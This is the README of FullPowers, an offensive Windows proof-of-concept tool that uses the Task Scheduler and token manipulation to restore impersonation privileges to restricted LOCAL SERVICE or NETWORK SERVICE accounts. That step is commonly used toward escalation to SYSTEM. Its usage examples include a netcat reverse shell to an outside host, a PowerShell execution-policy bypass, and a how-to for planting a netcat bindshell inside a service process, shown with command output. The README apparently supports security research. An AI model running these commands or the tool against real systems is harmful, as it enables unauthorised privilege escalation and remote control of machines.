FullPowers

FullPowers is a Proof-of-Concept tool I made for automatically recovering the default privilege set of a service account including SeAssignPrimaryToken and SeImpersonate.

Rationale

On Windows, some services executed as LOCAL SERVICE or NETWORK SERVICE are configured to run with a restricted set of privileges. Therefore, even if the service is compromised, you won't get the golden impersonation privileges and privilege escalation to LOCAL SYSTEM should be more complicated. However, I found that, when you create a scheduled task, the new process created by the Task Scheduler Service has all the default privileges of the associated user account (except SeImpersonate). Therefore, with some token manipulations, you can spawn a new process with all the missing privileges.

For more information: https://itm4n.github.io/localservice-privileges/

Usage

⚠️ This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

You can check the help message using the -h option.

c:\TOOLS>FullPowers -h

FullPowers v0.1 (by @itm4n)

  This tool leverages the Task Scheduler to recover the default privilege set of a service account.
  For more information: https://itm4n.github.io/localservice-privileges/

Optional arguments:
  -v              Verbose mode, used for debugging essentially
  -c <CMD>        Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
  -x              Try to get the extended set of privileges (might fail with NETWORK SERVICE)
  -z              Non-interactive, create a new process and exit (default is 'interact with the new process')

Example 1, basic usage

c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>

Example 2, specify a custom command line

c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
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Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass

Example 3, start a netcat reverse shell and exit

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK

How-To

You want to test this PoC yourself? That's great! Here are some simple instructions to get you started.

The overall idea is to start a bindshell from the process of an existing service, connect to it and then run the executable.

1. You'll need 2 third-party tools, netcat and RunFromProcess.
2. Pick a service which has limited privileges, e.g.: upnphost.
3. Open the Task Manager, go to the Services tab and get the PID of the corresponding process.
4. Use the following command to start the bindshell as an administrator:

C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd

5. Use the following command to connect to the bindshell:

C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\local service

C:\WINDOWS\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name          Description              State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects    Enabled

6. We can see that the current process has no impersonation privileges. Now run the PoC...

c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\local service

C:\WINDOWS\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

You should now have a shell with impsersonation privileges!